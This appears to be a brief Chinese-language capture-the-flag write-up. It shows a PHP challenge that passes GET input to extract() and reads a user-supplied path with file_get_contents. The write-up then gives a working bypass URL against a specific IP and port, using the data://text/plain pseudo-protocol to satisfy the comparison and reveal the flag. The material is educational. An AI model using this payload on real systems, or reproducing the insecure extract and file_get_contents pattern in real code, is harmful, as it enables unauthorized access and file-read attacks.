<?php
extract($_GET);
if (!empty($ac)){
$f = trim(file_get_contents($fn));
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}
else{
echo "<p>sorry!</p>";
}
}
?>
这里涉及到几个不常用的函数
这里直接构建绕过语句
114.67.175.224:18451/?ac=1&fn=data://text/plain,1
这里传递参数ac,并将其赋值为1
然后传递参数为fn,并利用伪协议创造text类型文件plain,并填充其值为1
之后通过file_get_contents函数,读取构建出的虚拟文件plain,得到f变量的值为1,从而通过判断
这里的plain为文件名可以随意取,text为类型同样可以随意